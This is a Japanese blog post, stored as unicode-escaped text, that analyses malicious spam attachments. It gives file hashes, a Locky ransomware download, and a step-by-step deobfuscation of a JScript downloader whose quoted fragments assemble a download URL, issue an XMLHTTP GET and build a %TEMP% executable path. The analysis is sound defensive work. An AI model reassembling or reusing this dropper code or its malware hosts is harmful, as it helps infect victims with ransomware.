\u3069\u3082\u3002\u3053\u3093\u3070\u3093\u306f\u3002<\/p>\n
\u3048\u3068Forefront\u30e9\u30a4\u30bb\u30f3\u30b9\u5207\u308c\u3066\u307e\u3057\u305f\u30fb\u30fb\u30fborz<\/p>\n
\u306a\u306e\u3067\u30b9\u30d1\u30e0\u3082\u6b62\u307e\u308a\u307e\u305b\u3093\u30fb\u30fb\u30fb\u3002<\/p>\n
\u4eca\u65e5\u306f\u3053\u3093\u306a\u611f\u3058\u3002<\/p>\n
393a57a4c9d385b05cb4416c9ff2236b \u00a0Document2.zip
\n02ffcdd591dd08a2b6679dce2d613936 \u00a0[\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u3063\u307d\u3044]-payment_551377.zip
\na1978df50a40ed8cbcc164c28a518a1b \u00a0scan_57831323.zip
\n610a902dc4c9182cb0262561cb3cc5e8 \u00a0payment_details[\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u3063\u307d\u3044]_004397.zip<\/p><\/blockquote>\n\u3055\u3066\u3068\u308a\u3042\u3048\u305a\u300cDocument2.zip\u300d\u3067\u3082\u898b\u3066\u307f\u307e\u3059\u304b\u3002<\/p>\n
instability(“http:\/\/dmvfredevent”+(“blake”,”technology”,”s.com\/3476grb4f434″)+”r.”+(“aristocrat”,”paintings”,”spotless”,”exe”),”lVsDqX”);<\/p><\/blockquote>\n
\u307e\u3042\u3053\u3046\u3067\u3057\u3087\u3046\u306d\u3002<\/p>\n
hxxp:\/\/dmvfredevents[.]com\/3476grb4f434r[.]exe<\/p><\/blockquote>\n
\u843d\u3061\u3066\u304d\u305f\u306e\u306f<\/p>\n
d3effa917bd98261c17308a93e70a232 \u00a03476grb4f434r.exe<\/p><\/blockquote>\n
\u52d5\u7684\u89e3\u6790\u7d50\u679c
\nhttps:\/\/malwr.com\/analysis\/ZWMzM2ZhYzM5ODdlNDA1ZGJkZmNjZTdjNDc3YmYyNDQ\/<\/a><\/p>\nVirusTotal
\nhttps:\/\/www.virustotal.com\/en\/file\/e0f73a587a83d293457f000ea4680576c889038634e5ca5a882f521002ab6506\/analysis\/<\/a><\/p>\nLocky\u3068\u304b\u3044\u3046\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306b\u611f\u67d3\u3055\u305b\u3088\u3046\u3068\u3057\u3066\u3044\u308b\u3088\u3046\u3067\u3059\u306d\u3002<\/p>\n
\u3069\u3046\u3067\u3082\u3044\u3044\u3067\u3059\u3051\u3069\u3001\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3063\u3066\u305a\u30fc\u3063\u3068<\/p>\n
Run Somewhere<\/p>\n
\u3060\u3068\u601d\u3063\u3066\u307e\u3057\u305f\u3002\u3002\u3002\u3069\u3053\u3067\u3082\u52d5\u304f\u7684\u306a\u3002\u3002\u3002<\/p>\n
\u3082\u3046\u3053\u306e\u30b9\u30d1\u30e0\u30b7\u30ea\u30fc\u30ba\u3084\u3081\u3066\u3001\u3055\u3063\u3055\u3068\u30a2\u30f3\u30c1\u30b9\u30d1\u30e0\u8003\u3048\u305f\u307b\u3046\u304c\u3088\u3055\u3052\u3060\u308f\u30fb\u30fb\u30fb\u3002<\/p>\n
\u3063\u3068\u601d\u3063\u305f\u3089<\/p>\n
02ffcdd591dd08a2b6679dce2d613936 \u00a0[\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u3063\u307d\u3044]-payment_551377.zip<\/p><\/blockquote>\n
\u3053\u308c\u3061\u3087\u3044\u3068\u7a2e\u985e\u304c\u9055\u3046\u3063\u307d\u3044\uff1f<\/p>\n
zip\u306e\u4e2d\u8eab\u306f<\/p>\n
5d435a6c3e269b6bfa3ed869b3087460 oo3W.bin
\n12d0e7e33a9669563bea07cfe5faa64a PMT8252fde.js.js
\nfe6ff7f6f37be71b5ca8f19df5c4772a SmQ.bin<\/p><\/blockquote>\nJS\u3082\u96e3\u8aad\u5316\u3055\u308c\u3066\u308b\u3063\u307d\u3044\u3057\u3001\u306a\u3093\u304b\u5909\u306abin\u304c\u3042\u308b\uff01
\n\u3053\u306ebin\u306e\u4e2d\u8eab\u306a\u3093\u3060\u308d\u3046\u3002\u610f\u5473\u306a\u3044\u30c7\u30fc\u30bf\u3063\u307d\u3044\u6c17\u3082\u3059\u308b\uff1f\uff1f<\/p>\n\u3068\u308a\u3042\u3048\u305a\u3053\u306e\u8fba\u306e\u30c4\u30fc\u30eb\u3067\u898b\u3084\u3059\u304f\u3057\u3066\u89e3\u6790\u3067\u3059\u304b\u306d\u3002<\/p>\n
http:\/\/www.jsnice.org\/<\/a><\/p>\n
\u3046\u308f\u3041\u30fb\u30fb\u30fb\u3081\u3093\u3069\u304f\u3055\u30fb\u30fb\u30fb<\/p>\n
***** \u7d50\u8ad6\u3060\u3051\u5148\u306b\u66f8\u304d\u307e\u3059 ****<\/p>\n
hxxp:\/\/kanberdemir[.]com\/b5uas
\n8b6bc36cf0fc6db4fe7f2257cdc75905 \u00a0b5uas<\/p>\n********************************
\n\u3068\u3053\u308d\u3069\u3053\u308d\u3001WScript\u3068\u304bXMLHttp\u3068\u304bADODB\u3068\u304b\u304c\u8aad\u307f\u53d6\u308c\u308b\u306e\u306f\u30c0\u30df\u30fc\u304b\uff1f\uff1f\uff1f
\nCreateObject\u3068\u304b\u3082\u898b\u3048\u96a0\u308c\u3059\u308b\u304b\u3089\u3084\u3063\u3071\u308a\u672c\u7269\u304b\u306a\u30fb\u30fb\u30fb\u3002<\/p>\n\u3053\u306e\u3042\u305f\u308a\u306e\u30b3\u30fc\u30c9\u3092\u6c17\u5408\u89e3\u6790\u3002<\/p>\n
\/** @type {string} *\/
\nvar fkG = “5uas”;
\n\/** @type {string} *\/
\nvar Rcb = “om\/b”;
\n\/** @type {string} *\/
\nvar k0 = “mir.c”;
\n\/** @type {string} *\/
\nvar oZ = “berde”;
\n\/** @type {string} *\/
\nvar tg = “\/\/kan”;
\n\/** @type {string} *\/
\nvar tX = “http:”;
\n\/** @type {string} *\/
\nvar GX = “GET”;
\n\/** @type {string} *\/
\nvar OV = “open”;
\n\/**
\n* @param {string} context
\n* @return {?}
\n*\/
\nfunction Ezn(context) {
\n\/** @type {string} *\/
\nvar n = “s”;
\nreturn “” + context + “”;
\n}
\n\/** @type {string} *\/
\nvar = “s.exe”;
\n\/** @type {string} *\/
\nvar pCp = “l1dWa”;
\n\/** @type {string} *\/
\nvar et = “6vEY”;
\n\/** @type {string} *\/
\nvar RS = “%\/”;
\n\/** @type {string} *\/
\nvar nZ = “%TEMP”;<\/p><\/blockquote>\n\u3068\u308a\u3042\u3048\u305a\u30c9\u30e1\u30a4\u30f3\u3063\u3044\u306e\u3092\u898b\u3064\u3051\u305f\u3002
\n\u3069\u3046\u4e26\u3073\u66ff\u3048\u3089\u308c\u308b\u306e\u304b\u3092\u8ffd\u3044\u304b\u3051\u3066\u307f\u308b\u3002<\/p>\nvar tX = “http:”;
\nvar tg = “\/\/kan”;
\nvar k0 = “mir.c”;
\nvar Rcb = “om\/b”;<\/p><\/blockquote>\n\u3053\u3063\u304b\u3089\u3053\u306e\u5909\u6570\u306e\u4f7f\u308f\u308c\u65b9\u7684\u306b\u3053\u306e\u3078\u3093\u304b\uff1f<\/p>\n
Ad[OV](GX, tX + tg + YL(oZ) + k0 + Rcb + fkG, false);<\/p><\/blockquote>\n
GX<\/p>\n
var GX = “GET”;<\/p><\/blockquote>\n
\uff54X<\/p>\n
var tX = “http:”;<\/p><\/blockquote>\n
tg<\/p>\n
var tg = “\/\/kan”;<\/p><\/blockquote>\n
YL\u3068oZ\u3002\u3093\uff1f\uff1f\u305d\u306e\u307e\u307e\u8fd4\u3055\u308c\u308b\uff1f\uff1f<\/p>\n
function YL(regex) {
\n\/** @type {string} *\/
\nvar n = “s”;
\nreturn “” + regex + “”;
\n}<\/p>\nvar oZ = “berde”;<\/p><\/blockquote>\n
ko<\/p>\n
var k0 = “mir.c”;<\/p><\/blockquote>\n
Rcb<\/p>\n
var Rcb = “om\/b”;<\/p><\/blockquote>\n
fkG<\/p>\n
var fkG = “5uas”;<\/p><\/blockquote>\n
<\/p>\n
\u304a\u3001\u300ckanberdemir[.]com\/b5uas\u300d\u3063\u307d\u3044\u306a\u3002
\n\u73fe\u6642\u70b9\u3067\u306eIP\u30a2\u30c9\u30ec\u30b9\u306f<\/p>\n81[.]22[.]110[.]190<\/p><\/blockquote>\n
\n<\/p>\n
\u307b\u3044\u3067\u7d9a\u3044\u3066\u3001<\/p>\n
var Rz = “s.exe”;<\/p><\/blockquote>\n
\u304b\u3089exe\u3092\u8ffd\u3063\u3066\u307f\u308b\u3002
\nRz\u304c\u4f7f\u308f\u308c\u3066\u3044\u308b\u306e\u306f\u30fb\u30fb\u30fb<\/p>\nvar I = function() {
\nreturn rXo[YC + aG + C + GnA(a) + Da + t](nZ + RS) + Ezn(et) + pCp + Rz;
\n};<\/p><\/blockquote>\norz<\/p>\n
\u3067\u3082\u9811\u5f35\u3063\u3066\u307f\u308b\u3002
\n\u95a2\u6570\u306e\u914d\u5217\u3068\u304b\u30de\u30b8\u52d8\u5f01\u3002\u3002\u3002<\/p>\nrXo\u3001RK\u3001P0\u3001kH\u3001nbn\u3001Qb<\/p>\n
var rXo = function qy() {
\nreturn WScript[RK](P0 + kH + nbn + Qb);
\n}();
\n\u2193
\nvar P0 = “WScr”;
\nvar kH = “ipt.”;
\nvar nbn = “Shel”;
\nvar Qb = J[“c” + “h” + “ar” + “A” + “” + “t” + “”](4);
\nvar J = “LfzGlkF”;<\/p>\n\u30fd(\uff40\u0414\u00b4#)\uff89 \uff91\uff77\uff70!!
\nWScript.Shell\u3058\u3083\u306d\u30fc\u304b\uff01
\n\u30fb\u30fb\u30fb\u307e\u3041\u898b\u305f\u611f\u3058\u305d\u3046\u3060\u3068\u601d\u3063\u3066\u3044\u307e\u3059\u305f\u3002\u3002\u3002<\/p>\nvar RK = “CreateObject”;<\/p><\/blockquote>\n
var YC = “Expa”;
\nvar aG = “ndEn”;
\nvar C = “viron”;<\/p>\nvar a = “mentS”;
\nfunction GnA(x) {
\n\/** @type {string} *\/
\nvar n = “s”;
\nreturn “” + x + “”;
\n}<\/p>\nvar Da = “trin”;
\nvar t = “gs”;<\/p>\n\u3067\u304d\u305f
\n#\u3053\u308c\u3067%TEMP%\u304b\u306a\u3002\u3002\u3002<\/p>\nExpandEnvironmentStrings<\/p><\/blockquote>\n
Ezn\u3068et<\/p>\n
function Ezn(context) {
\n\/** @type {string} *\/
\nvar n = “s”;
\nreturn “” + context + “”;
\n}<\/p>\nvar et = “6vEY”;<\/p><\/blockquote>\n
pCp<\/p>\n
var pCp = “l1dWa”;<\/p><\/blockquote>\n
Rz<\/p>\n
var Rz = “s.exe”;<\/p><\/blockquote>\n
\u3053\u3053\u307e\u3067\u307e\u3068\u3081\u308b\u3068<\/p>\n
var I = function() {
\nreturn rXo[ExpandEnvironmentStrings](%TEMP%\/) \u00a0+\u00a06vEYl1dWas.exe;
\n};<\/p>\n\u3042\u3041\u3001\u3053\u308a\u3083\u9055\u3046\u308f\u3002\u4fdd\u5b58\u5148\u3063\u307d\u3044\u306aTEMP\u3092wscript\u3067\u53d6\u3063\u3066\u304d\u3066\u308b\u3060\u3051\u3060\u306a\u3002\u3002\u3002<\/p>\n
\u898b\u3066\u306a\u3044\u3051\u3069\u3069\u3046\u305b\u3053\u3093\u306a\u611f\u3058\u306a\u308b\u3068\u4e88\u60f3<\/p>\n
\nWScript.CreateObject(\"WScript.Shell\")\r\nexpandEnvironmentStrings(\"%TEMP%\")<\/pre>\n<\/blockquote>\n
\n<\/p>\n
\u3053\u3053\u307e\u3067\u3067\u98fd\u304d\u305f\u304b\u3089<\/p>\n
var EZ = “MSXML2.XMLHTTP”;<\/p><\/blockquote>\n
\u3053\u3063\u3061\u3092\u304a\u3063\u3066\u307f\u308b\u304b\u3068\u304a\u3082\u3063\u305f\u3051\u3069EZ\u306d\u30fc\u3057\u30fb\u30fb\u30fb\u3002<\/p>\n
\u3053\u3063\u3061\u304b\u3089\u3044\u304f\u304b\uff1f<\/p>\n
\/** @type {string} *\/
\nvar Dhd = “Respo”;
\n\/** @type {string} *\/
\nvar Lnx = “nseBo”;
\n\/** @type {string} *\/
\nvar l = “dy”;<\/p>\nResponseBody<\/p><\/blockquote>\n
\u3082\u3046\u75b2\u308c\u305f\u3002<\/p>\n
\u306f\u3044\u3002\u9069\u5f53\u306b\u30b3\u30fc\u30c9\u898b\u3066\u305f\u3089\u300c07t9gasdf76ags\u300d\u3063\u3066\u3061\u3087\u3063\u3068\u9577\u3081\u306e\u6587\u5b57\u5217\u304c\u3042\u3063\u305f\u306e\u3067\u3053\u308c\u3067\u3050\u3050\u308a\u307e\u3057\u305f\u3002<\/p>\n
https:\/\/www.hybrid-analysis.com\/sample\/4db44312481ee6956e109eb2921b0dcec0cc05b1a8703e7ea7cfda96d5df5117?environmentId=4<\/a><\/p>\n
\u3067\u3082\u3053\u308c\u3068\u3082\u3061\u3087\u3063\u3068\u9055\u3046\u306a\u30fc<\/p>\n
\u3042\u3042\u3042\u3042\u3042\u3053\u308c\u3058\u305f\u3044\u30d5\u30a1\u30a4\u30eb\u3058\u3083\u3093\u3002\u4eca\u6c17\u3065\u3044\u305f\u30fb\u30fb\u30fb\u3002<\/p>\n
hxxp:\/\/kanberdemir[.]com\/b5uas<\/p>\n
8b6bc36cf0fc6db4fe7f2257cdc75905 \u00a0b5uas<\/p><\/blockquote>\n
\u3044\u307e\u3093\u3068\u3053\u30cf\u30c3\u30b7\u30e5\u3058\u3083\u60c5\u5831\u306a\u3057\u304b\u306a\uff1f\uff1f<\/p>\n
\u3061\u306a\u307f\u306b\u3084\u3063\u3066\u308b\u306e\u306f\u3084\u3063\u3071\u308a\u3053\u3053\u3060\u306d\u3002<\/p>\n
try {
\nAd[OV](GX, tX + tg + YL(oZ) + k0 + Rcb + fkG, false);
\n\u2192Ad[open](GET, \u3042\u306eURL, false);
\nAd[xS]();
\n\u2192Ad[send]()
\n\/** @type {string} *\/
\ndQN = “Sleep”;
\nfor (;Ad[v + k1(Yl) + nN(DuN)] < 4;) {
\nWScript[dQN](Nad() * 10);
\n}
\n\/** @type {number} *\/
\nnQr = QR;<\/p><\/blockquote>\n\u3082\u3046\u75b2\u308c\u305f\u3002\u5bdd\u3088\u3002<\/p>\n
\u3067\u306f\u3067\u306f\u3002\u307e\u305f\u306e\u6a5f\u4f1a\u306b\u3002<\/p>\n
<\/p>\n
<\/p>\n
<\/p>\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u3069\u3082\u3002\u3053\u3093\u3070\u3093\u306f\u3002 \u3048\u3068Forefront\u30e9\u30a4\u30bb\u30f3\u30b9\u5207\u308c\u3066\u307e\u3057\u305f\u30fb\u30fb\u30fborz \u306a\u306e\u3067\u30b9\u30d1\u30e0\u3082\u6b62\u307e\u308a\u307e\u305b\u3093\u30fb\u30fb\u30fb\u3002 \u4eca\u65e5\u306f\u3053\u3093\u306a\u611f\u3058\u3002 393a57a4c9d385b05cb4416c9ff2236b \u00a0Document2 … \u7d9a\u304d\u3092\u8aad\u3080 Spam\u304c\u307e\u3060\u307e\u3060\u6765\u308b\u3002\u307e\u3058\u3081\u306b\u89e3\u6790\u3057\u3066\u307f\u308b\u3002<\/span>